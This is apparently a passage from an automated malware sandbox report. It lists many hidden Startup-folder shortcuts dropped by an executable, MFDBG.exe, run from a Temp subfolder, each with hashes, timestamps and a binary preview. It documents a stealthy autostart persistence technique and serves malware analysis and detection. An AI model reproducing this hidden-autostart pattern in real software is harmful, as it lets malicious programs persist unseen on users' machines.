Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...Q(..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f5341c85c3bf42749041840cb418f84c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:14 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943266012371529
Encrypted:	false
SSDEEP:	24:8KthBfeczp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Me0R6rMhpBoUBxdRd1nYyg
MD5:	FDF301A1441EBBB3ADF286318DF610E3
SHA1:	2B56D94D4D21FEB9F70CEB2D080E588E8B94C816
SHA-256:	8EB96C8287FDD056D0BBD2A0B409D2C55C0293CA0EA6C8BE34DE64852464EDD2
SHA-512:	E5CEE59038AE023E93D93E0314F6EA2D143F49015360A2834ED1AD146FB5280834700FDF994FB10306280A2045F59FCF16E69E7E94D9036544C914C24852E1AF
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o ..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f640051222b6478c9dd5424d8d59753b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:18 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938499572253276
Encrypted:	false
SSDEEP:	24:8okGhBfsl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8CEC0R6rMhpBoUBxdRd1nYyg
MD5:	73CFFB5B98F7A41084C7239C5B24EA35
SHA1:	F7FC3821E7F24718FA23291DF5233504F8C54106
SHA-256:	243C9EF4E1BE8F38D6BCDCDBB9B3855BAE82E9BD6761C21FAD8D610300050D12
SHA-512:	890E477C9F6347BE4B7E66C69EF736E84491BB1EF7600BF9C05EC903AE1D27B7C9829B6EE64CB53143689BE7154F924B60CB02221FDE882229FB75DCC5D48DF6
Malicious:	false
Preview:	L..................F...."...]W%.{...>c\|.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...\|...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f658052666cb48f980321b1dfd8983c1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940443749360191
Encrypted:	false
SSDEEP:	24:8dphBfr48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8LJ0R6rMhpBoUBxdRd1nYyg
MD5:	7765973A203A6F97142FE1CF9A94C0D5
SHA1:	0D3517DAD5597190C4F07C852B4BA63196950257
SHA-256:	048E0DDD942B866A832F337D91641C88E98747F77630F513EEE612E71188A462
SHA-512:	0FBD7AC799D6347731B7887E3514ABAA679BFAA57851752EDC4C69F39ED4424EB34AA11FFC0E619866C3144253BA32C178FDE7B18463F28B1874AF4BD90CAD8D
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f730c617283b43f8b1b8782fd73c8827.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935998479265372
Encrypted:	false
SSDEEP:	24:8jhBfw8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8X90R6rMhpBoUBxdRd1nYyg
MD5:	5DB9625A44DCEF4E794055309B52ABC7
SHA1:	4BB1459D453F554EBF679EEE0DB696B602BA3CD0
SHA-256:	D0801D1279293656B7DFA576B63B7AE0F89535D614EFD2E4166D205A685014B0
SHA-512:	B470B751BB5ADDF2BED2BC527F1A817D5363AFCB8FA59E3BF9D55E9E8DDA532BCC1A11F6085DF1AEE9D84044B557DEE7DA26A48AAA455B3A8B445BEA83929BBE
Malicious:	false
Preview:	L..................F...."...]W%.{....xq.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....Vc.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f75882516e374f43aa308c2a749e88c0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936092700080713
Encrypted:	false
SSDEEP:	24:8dSb9hBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8dmKI0R6rMhpBoUBxdRd1nYyg
MD5:	180353B395C8919CD64F061250CCCA2C
SHA1:	315F3E53E1ECFB1AF656C9ED0061971E35471BE5
SHA-256:	2EFBDB13A19BDDE7AB894DBED68F58C68648D62A79A20E5A5679A25FB0FAD340
SHA-512:	2BCEC9D5115ACA3E9612D0F0C9EF85F3620C78EB02A27B9EFF5FE19EF6A2165DE6A118A67E4932A4DD6F8C91CA581007DA6D9D1FAD6C709C7FF3C2FA3363979F
Malicious:	false
Preview:	L..................F...."...]W%.{...c.&.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f77d0d349bd64140892ec937334c0296.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:19 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935208526003488
Encrypted:	false
SSDEEP:	24:8MEhBfsl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8MmEC0R6rMhpBoUBxdRd1nYyg
MD5:	A60310A693A7ED44BA98DA8BB3BCC5CF
SHA1:	65ABFC25AC84525B30299D2B94CAD24B3E17CE06
SHA-256:	223C6FA8051729F74AE2217F530D22B8DD5B514F2A7D5BE3D6887C052B976013
SHA-512:	DD98BFC10CAAB1EA55F7F2BBEAC3CF7DFA020A05E15243BED7FA735E57671EE7FC680CC50554665266434C83489ABE17FB4E9270724A4EA20A9A6E4E26BAC86B
Malicious:	false
Preview:	L..................F...."...]W%.{....H..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...\|...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f7a783f0a3b0495bbd3de794711e9797.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:15 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942154458887914
Encrypted:	false
SSDEEP:	24:8phBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8pC0R6rMhpBoUBxdRd1nYyg
MD5:	5D9C2E81196966ABF22508C36204919B
SHA1:	617F9AEA94CA4AFEBED43376B9FF8E50F48DE178
SHA-256:	1127289F1FE8487D49875ECFB226DD7B4B1D61EB095A9425DB40193477FF5D28
SHA-512:	AC8442407C41F2F2F4902ADFAD9B2F921C6A5810BB64E66154E43EFFAC72FC6774B51EF6C5C2BEB30D5B017BCD6FD7BA25B79F4BAEA60F91FE90964CDBED2B95
Malicious:	false
Preview:	L..................F...."...]W%.{....>..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{..._.\.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f7b4708f420a49658ac3f55bb4da2f31.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940085712394053
Encrypted:	false
SSDEEP:	24:8khBfE8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8GJ0R6rMhpBoUBxdRd1nYyg
MD5:	7FA93ABE1D6C9B9598CA7B4D36714716
SHA1:	CA592DC0266D2B2205522A9E56A44A0E0A81E0A0
SHA-256:	5A413794FA6AEAEB2669681980C681E72BEB7658AB77333930A6732E05C87E12
SHA-512:	C0929B185803462C49F71ECB43C137517A27D86E32A370EDA3E344BBCB8D0D1BE2EA796BFE4139C8A9DBDCB60A8C605B9E31136F288344EB55999B98BBF36237
Malicious:	false
Preview:	L..................F...."...]W%.{...$...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...$...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f86dc83e02cb48b88d9bf5df2f42b3e9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936375655388342
Encrypted:	false
SSDEEP:	24:8I2hBfUxp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Icl0R6rMhpBoUBxdRd1nYyg
MD5:	89FA712CA78CCEF06C68FE1F0506DC1B
SHA1:	E8D07BC919241D6E815A0759AEE3F06AB1BA1E22
SHA-256:	914FFA1366E7095444D4677B53E76C838A9F6865CAF2C2C0FD31C30DD81FDA11
SHA-512:	DE22D77D80FD8E37DB9967B87D72CC88AECE54AA9AEADDC15D8044F7A53B4609427207428F38C5B92EBC4829935F61E4736F00BD69A743A9F8677E50E2C910F4
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h@..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f8c4a12a97944dfd8117f7d0308895a5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936305541420085
Encrypted:	false
SSDEEP:	24:8LhBfN8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8vy0R6rMhpBoUBxdRd1nYyg
MD5:	7F48B52C5EF344339D8F0314BED72B74
SHA1:	7063DD825F9731A6E1C40026C45B543552370A6D
SHA-256:	D6346FCB629B96084329F3DFA4FDE16B812E5492238A1ED2A7D111BE2C94542D
SHA-512:	7B7CFE00226852E2CB255852A4C74352ABBD03DE85B0E8499935956D8567CC16FD19FE6518D4269087B52782D61481CA3730432C2097AC9262D4CABDD2FD471D
Malicious:	false
Preview:	L..................F...."...]W%.{.....0.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f918a8989fa8404d8e9d19d67633cc51.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943266012371529
Encrypted:	false
SSDEEP:	24:8shBfev8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8eN0R6rMhpBoUBxdRd1nYyg
MD5:	9830C355B6D81FAB9FA2F76712E730E3
SHA1:	C98BBAD97A7D97DCA7BAF10F28B74F1749DDCCC8
SHA-256:	0A612FDC5472225320FCD3B1893F018291B9DEB70EEEC801D0D0497832596A75
SHA-512:	A70A2E7ACE68457CDBBE67C3B59974F9749E67728FC62BA31D8921258C8AE6E45F3B05321B1BCF8BFD43E25F59C1D1DD3B172B9C83FA3DA55CD1636A40D08FCA
Malicious:	false
Preview:	L..................F...."...]W%.{.....].\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.../y[.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f93b0e35a24d485f99ae0c8dc646351a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939207771933833
Encrypted:	false
SSDEEP:	24:84hBfTl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8aW0R6rMhpBoUBxdRd1nYyg
MD5:	37F26069BCDC22BFF15F9AF02B8AEB1F
SHA1:	0664DC07323086D3955CFF8AC4DC973CC7956D7C
SHA-256:	193A3CB62D87A565F3C40E8234723BF398690AFC7302E3B868B50685818A643D
SHA-512:	0C2061D564E80AC2A6FFD6A73B3C0EC3C8905942ED5E5D335936B8070530807C1BA0422F4CA10105B6293F6BF111D46C9188A7FA7A6F001A952ABB6A41296278
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...*L..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f957bb9da74943bdb46330edfe5f9aa1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.945372056006388
Encrypted:	false
SSDEEP:	24:8MhBf08iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8+p0R6rMhpBoUBxdRd1nYyg
MD5:	76EAC11D7A8CDBE1DF3663322316AF55
SHA1:	FEB875D2056FA5D2EDEE8875DE02F8A234FDB0D2
SHA-256:	6AF4C88B6C3512041D1021DFB841C408EF56D6AE83462533FB68593E501689E8
SHA-512:	5A5E753232BCE898A788F587559C1DA8FBC449E256C935041846B074376F6995237FD40519F95C4BC3BA0044E71693498963D915D91204B98B50B00D750B9C80
Malicious:	false
